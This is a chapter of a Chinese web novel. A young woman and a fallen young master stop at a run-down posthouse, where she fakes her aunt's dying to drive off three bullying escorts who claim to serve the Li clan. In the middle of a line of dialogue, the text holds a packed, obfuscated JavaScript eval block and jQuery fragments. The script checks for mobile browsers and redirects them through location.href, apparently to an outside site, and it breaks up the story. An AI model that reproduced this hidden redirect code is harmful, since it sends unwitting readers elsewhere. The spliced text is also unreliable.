16.双人智斗三镖师

作品:《唐少爷今日又被玩弄股掌间

    去虔州车程本只需三日,但王阿婆体弱,云洇在拿到唐季扬的卖身钱后,便拿出其中的一部分租了个宽敞的马车,并且雇了对父女,一路慢慢驱车过去,将路程整整延长了一倍。


    等云洇处理完南水县的一切,同唐季扬出发时,阿婆他们已走过一半路程。


    云洇担忧青姨,唐季扬挂心舅父,于是两人心照不宣,几乎日夜兼程往前赶,天色实在太暗时,便生了火拿出干粮,在野外应付一晚。


    风尘仆仆赶路两日,别说唐季扬骑马骑得眼冒金星,就连只是一直坐在马背上的云洇,双腿都因一路颠簸而酸麻得要没了知觉。


    幸得终于赶上了。


    听见马蹄声,云洇雇的丫鬟蝉红掀开帘子,看清了两人,赶忙让阿爹停了车,将他们迎了上来。


    云洇扶着蝉红的手,从马上翻下来,几乎打了个趔趄,半拐半走地钻进马车去看青姨。


    唐季扬没人管,几乎是从马背上滚下来的,灰头土脸,满目憔悴。


    上了马车,他就见云洇和那丫鬟絮絮叨叨地说着话,自己没人搭理,便寻了个舒服的地方坐着,拿起水壶给自己猛灌。


    “这几日辛苦你了,这是说好的工钱,给你。”


    蝉红虽比云洇大上不少,但性子内敛,面对着云洇有些诚惶诚恐,红着脸摆手,呐呐道:“说好到虔州再给,现在我不能收。”


    “收下吧,谢谢你将青姨照顾得这样好。”


    云洇硬是将钱袋塞进了蝉红怀里,她对蝉红父女很有好感,当初她在集市雇人,只有蝉红父女愿意接下这个活,并且现在见青姨呼吸平稳,身上干净,这一路不仅没受苦,甚至于比在家里还要妥帖,自能看出蝉红的细心。


    见状,蝉红便不再推辞,但有些惴惴不安,不是因为云洇,倒像是因为一旁累得像死鱼的唐季扬。


    她目光频频地看着他。


    云洇有些诧异,本以为蝉红有什么想对他说的话,过了一会,她却只是起身出去,说要让阿爹启程了。


    “等一下。”


    云洇拦住了蝉红,推了推唐季扬的胳膊,说:“你还不出发么?”


    因着那封从虔州送来的信,云洇担心唐季扬到了李家恐发事端,没法帮她寻名医来,打算两人追上车后,让他便拿着地图只身一人策马先赶往虔州,之后再汇合。


    当然,和唐季扬说的时候,自然是让他抓紧回去救他可能处于危险中的舅父了。


    当时说得好好的,如今唐季扬却只是动了动胳膊,将身子侧过去,换了个姿势继续躺着,没有要走的意思。


    “没看到我快累成一滩泥了吗?反正也没多远了,让我休息几天。”


    那可不行,要是到了虔州还不能立马找到有用的大夫,青姨可就撑不住了。


    云洇心里腹诽,嘴里问道:“你不担心你舅父出事?”


    “自然担心,可我实在太累了,要是到了虔州,没了体力,不是得不偿失吗?”


    云洇还要再劝,就听一旁的蝉红道:“离这不远处有个驿站,或许晚上可以在那休息一晚,这位小少爷明早再出发也不迟……”


    蝉红说话声越来越小,脸也越来越红,低头看着脚尖,不敢看她们。


    “这个主意好,就这么决定了,我明日再走。”


    云洇虽有些无语地瞥了眼此时正闹着少爷脾性的唐季扬,但也觉蝉红这个主意不错,便让了步,半劝半推地将唐季扬又赶到正在吃草的枣红马上,让他驾马跟着车去往驿站。


    虽说不远,但奈何车程慢,一行人到驿站时已是日暮西山,不算宽敞的道路映着夕阳,几乎要被吞没于黝黑的树林之中。抬头看去,一个印着个“驿”字的灯笼在空中摇晃,淡淡的烛光透出驿站一角,老旧而荒芜。


    敲过门,一个驿使探头出来,见到粗布麻衣的几人,淡淡地开了门,云洇给了他银钱后才稍微热情了些。


    等云洇说明了情况,要先将青姨背进厢房,那驿使便领背着青姨的吴叔去了一个偏僻又满是灰尘的厢房,云洇无奈,又添了些银钱,才换到了一个相对干净的房间。


    等整顿好,下来吃饭时,驿使便端出几个毫无食欲的菜和米饭出来,丢下句“只有这些”,就不再管他们了。


    唐季扬深吸口气,筷子拿起又放下,最终选择向云洇讨要干粮。


    云洇见唐季扬一副委屈样,自己心中亦因这驿使存了气,道:“我让蝉红姐去借厨房了,你不若再等等,把他的存粮全吃了不可。”


    “算了,”唐季扬拿了干粮啃起来,可恶道:“不和他一般见识,做的东西还是留给阿婆吧,我吃完就去歇息了。”


    云洇只得作罢,又好笑道:“怎么变窝囊了?如此忍气吞声,不像你。”


    本不过随口一说,云洇却见唐季扬登时一愣,好似才发现自己转了性子,他转头惊愕地看着云洇,说:“我不会已经习惯做一个穷人了吧?我可不要像你们这样。”


    “我们怎么了?”云洇将筷子反向,要敲他的头,挖苦笑道:“这么嫌弃就赶紧走,还待在这做什么。”


    唐季扬轻松躲开,一脸“你可打不着我”的欠揍模样,臭屁地跑开了。


    室内烛火微微,寂静无声,云洇吃了几口也放下了筷子,留下吴叔狼吞虎咽,自己去青姨的厢房里看看情况。


    进了屋子,只见一旁已被吃了些的饭菜,青姨一人安稳地躺着,本该给她喂饭的蝉红却不见了踪影。


    云洇未做他想,料想蝉红说不定去如厕,一会就会回来,于是拿了搭在盆边的帕子沾了水,坐在床边给青姨细细擦着脸。


    果不其然,蝉红不久就回来了。


    见云洇在照料阿婆,蝉红红了脸,急忙要把帕子夺来,忙对不起道:“对不起小姐,我耽搁了这么久,还要你来照顾。”


    “没事……”


    云洇有些奇怪地看着她。


    虽说蝉红性子内向,但也不该这么内疚,她去做什么了?


    心里好奇,面上不显,云洇什么没说,将帕子递给她,让她接了手。


    蝉红照料青姨比自己更为细致且有经验,云洇在一旁细细看着,学习一二。


    不久忽闻门外有人语马嘶,其间夹杂着驿使谄媚讨好的声音,应是又一波人马、且应当是有些钱或权的人马前来下榻。


    云洇听见隔壁厢房门开了,接着便是一连串脚步声,她便知晓唐季扬跑出来看热闹了,本没有要出去的意思,可一会儿,房门就被敲响了。


    一开门,唐季扬一张脸意料之中地出现在眼前,但表情却有些奇怪。


    “你出来看看。”


    云洇一行人的厢房在二楼,能凭栏看见底下大厅的情形。


    她依言出来,便看见三个镖师模样的男人正坐在一张桌子上,桌上摆着牛羊肉,一人一坛陈年酒,正大快朵颐地吃着。


    一边的驿使满脸堆笑,忙前忙后地招呼他们。


    云洇看了半天未看出什么门道,疑惑说:“这有什么好看的?”


    “是没什么好看,”唐季扬悄声对她道:“我叫你出来,是想让你小心蝉红。”


    “蝉红怎么了?”云洇兀地抓紧了扶栏,警惕问道。


    蝉红和她口不能言的父亲相依为命,靠打零工混饭吃,还要害她不成?云洇想了半天想不到这对蝉红有什么好处。


    云洇正想着,就听唐季扬不太自然道:“我觉得她偷窥我。”


    ……没忍住,云洇嗤笑一声,看着唐季扬的一脸古怪,就差把“你也太自傲了”这几个字写在脸上。


    闹了半天,原来是担心自己。


    “真的。”唐季扬急道:“刚才我回房歇息,就觉得有谁暗中盯着我看,我转过头,才发现门开了个小缝,露出截深蓝的布衣来,这不就是蝉红吗?”


    听唐季扬这么一说,云洇联想到方才蝉红那过于奇怪的态度,又想起近日在车上她频频看向唐季扬,难不成……


    “难不成她有事求你?”


    “没错,她就是有求——呸,她明明是觊觎我!”


    唐季扬一脸惊恐的模样,简直不敢相信云洇是如何从偷窥他联想到有事求他,又讶异又压低声音道:“你们南水县的人都喜欢半夜求人不成?”


    “又?”云洇脑子灵光一闪,意味深长道:“上一个找你的,不会是刘小妹吧?”


    是疑惑的语气,云洇却一脸肯定。


    “你怎么知道?”


    唐季扬奇了,她怎么什么都知道?转念一想,蝉红和刘小妹都是待嫁女子,难不成她也是来求自己牵线的?把他当红娘了不成?


    唐季扬脸上变幻莫测地表情,云洇尽收眼底,心里和明镜似的,都不用开口,就知道他在想什么。


    她随即说:“总之蝉红应无恶意,不过防人之心不可无,你提防着些也没事。”


    唐季扬想了想,左不过就这一晚了,点了点头,也叮嘱道:“你也小心点。”


    云洇“嗯”了声,见楼下那三个侍卫亦吃好了,就要上楼,便和唐季扬各自回了房间。


    只听那几个镖师,脚步杂乱而虚浮,伴随着谈话时爆发的哄笑声,看来是喝了不少。


    当脚步声在她所处厢房前戛然而止时,云洇心底一沉,心道不妙。


    果然,房门立马被驿使粗暴地敲响了。


    只听那驿使不客气道:“快开门,这间房三位打州里来的爷看上了,你们快搬开!”


    云洇立马示意不安的蝉红稍安勿躁,安静呆着,自己将门开了一个缝,却发出了巨大的声响。


    是隔壁的唐季扬发出来的。


    “喂,你说什么呢?我们付了钱还要把厢房让出来,找死是不是?”


    自落难以来,唐季扬见识过了太多看碟下菜之人,他自认为虎落平阳并不可怕,但至方才吃饭时,经云洇无意中取笑才发觉自己竟然习惯“被犬欺”的状况,竟将自己的傲气磨了干净。


    之前忍忍也就算了,称之谓大丈夫能屈能伸。


    不过,如今这般蹬鼻子上眼,他再忍下去,可就真再算不上一个顶天立地的男子汉了!


    男子汉因为矮了一个头,便气势汹汹抬头瞪着喝得烂醉的三人,怒道:“你们不过是几个镖师,在正经官驿还敢欺负良民,不怕我上报官府?”


    三个镖师低头看他,其中一个好似被他的话唬住,后退了几步,酒似乎醒了不少,直愣着盯他。


    另外两个见唐季扬一身布衣打扮,笑得猖狂,大言不惭道:“告我?你上哪告去?我们几个兄弟可是奉命出来办重要的差事,虔州李氏你知道吗?百年的名门望族,正是我们的东家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323710|166437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,就是刺史来了都得礼让三分,你们算个什么东西?”


    另一个镖师又大嘴巴补充道:“况且谁是镖师,我们可是……”


    没说完,就被他的同伴打断了。


    唐季扬的脸瞬间苍白了几分,正欲开口再问,云洇所处厢房中却传来一道不小的惊呼,他心里一阵着急,被这动静吸引了去,一下子推开了虚掩的门,朝床边急急奔来。


    “怎么了?”


    唐季扬一走近,就见本已气息均匀的阿婆此刻脸上却呈灰败之色,见云洇竟已戴上面罩,他大惊:“阿婆怎么突然变成这样?”


    云洇坐在床沿,并不立即回答,而是看了眼从门口看进来的驿使和镖师,便拿出绣着玉兰的帕子,给青姨擦脸,悲凄道:“青姨她,病情突然恶化了,我现在就戴着面罩一直守着她,等着她撑不住,我就给她敛容……”


    说完,她便沉浸于悲痛中,伏在青姨身上,站在一旁的蝉红亦掩着面,似乎在哭泣。


    站在门口,看不太清里面的情状,镖师便要遣驿使进来查看。


    驿使虽万般不愿,但迫于威胁,只能亦步亦趋地进来。


    不料这时怔愣许久的唐季扬突然后知后觉地捂住鼻子,闷声问:“怎么这样臭?”


    边问边往后退,驿使也停住了脚步。


    “臭?莫不是……”


    云洇背对着他们,抬起头来,要将青姨下侧的被子掀开,待余光撇见驿使已经嫌弃地退至门口,她便停住了,静静留神那边的动静。


    驿使早已认出了那帕子上的玉兰和云洇带着的面罩,又见那阿婆将死又失禁,当即再也不愿踏进房门,危言耸听地同几位镖师说:“大人,您看要不换个房间?这房间入殓师住着,就算让他们出来,我收拾一番,也要天亮了。”


    胡十一虽喝了许多酒,但脑子还算清醒,见此情形,也决定不再住这间屋子,便拉住醉得不行的胡十二,往唐季扬的屋子钻。


    “这间屋子不行,那个臭小子的屋子我可必须占了。”


    驿使连连称是,唐季扬见状,又要过去争论一番,谁知还未过去,胡十一就被胡十——刚才似乎被唐季扬唬住的镖师制止。


    他阴沉着脸色,不顾胡十一迷茫的脸色,只呵斥驿使道:“混了这么多年,欺负几个小屁孩做什么?快点我们兄弟收拾几个其他的房间出来?不然饶不了你。”


    说罢强硬地拉着其他两个兄弟离开,云里雾里的驿使在后面跟着,厢房很快恢复了安静。


    过了一会,云洇才用帕子沾了药水,抹掉涂在王阿婆脸上的药粉。


    她绕过仍站在原地的唐季扬,从门口探出头左右看了两眼,便转头让蝉红去看看吴叔的情况,等蝉红走了,轻轻掩上了门。


    她见唐季扬满脸纠结,问:“他们真是你舅父家的?”


    刚才唐季扬和那三个镖师的对话,她全都听见了。


    “不知道。”唐季扬有些颓然地坐在椅子上,怅惘道:“我希望他们不是。”


    云洇抿了抿嘴,走到另一边的椅子坐下,又点燃了一盏灯,道:“说不定不是呢,他们可没认出你来。”


    想了想,她又说:“不过唐少爷金尊玉贵,说不定他们职位低下,根本没机会见到你,这么一说,我是不是还挺幸运的?”


    “姑奶奶,可别讽刺我了。”唐季扬被云洇逗得笑了一声,脸上阴霾少了不少,以手撑脸道:“舅父舅母虽出身高门,待我极好自是不必说,我在虔州游玩,总有许多人对他们多加赞美,因此,方才那三个镖师借着舅父的名号欺男霸女,我又因这样的境况不能替舅父正名,不免心中郁闷。”


    “你就这么确定,他们不是你舅父的手下?”云洇说完,又若有所思:“很多时候,有些人并不如他们表面那样……”


    她声音极小,似是故意只让唐季扬听清前半段话,只听他“呵笑”一声,理所当然道:“那是自然,李氏治人极严,门下怎会有这类人物?”


    是这样吗……云洇垂眼沉思,不欲再问,揶揄般转移话题道:“也是,若真是他们真归李氏所管,方才不应当看不出来我在骗他们。”


    说到这,唐季扬难免失笑,赞同道:“那是自然,他们是瞎了才看不出你在演戏,得亏我帮你们掩护,不然那蝉红,掩着面恐怕都要笑出声来。”


    “我演得真有这般差?”


    “当然,我又不是没见过”你哭。


    唐季扬止住话头,不再多说。


    他正愁无话可说时,恰逢蝉红敲响了门,便立即起身开了门。


    云洇亦迎了上去,听蝉红说那几个镖师只是遣了吴叔去喂马,并未受罪,这才松了口气。


    见唐季扬要回隔壁厢房,云洇下意识叫住了他,一双琉璃目透着月色静静看着他,认真笑道:“谢谢你刚才挺身而出。”


    唐季扬挑眉笑道:“这有什么可道谢?”


    “不是你说的吗?你帮了我,总是要道谢的。”


    “好吧,我先去歇息了。”


    唐季扬摆摆手,又听云洇在背后叫住他。


    “唐季扬。”


    “怎么了?”


    “好眠。”


    唐季扬回头,看着沐浴在月光下的少女,笑着“嗯”了声,亦回道:“你也是。”


    “好眠。”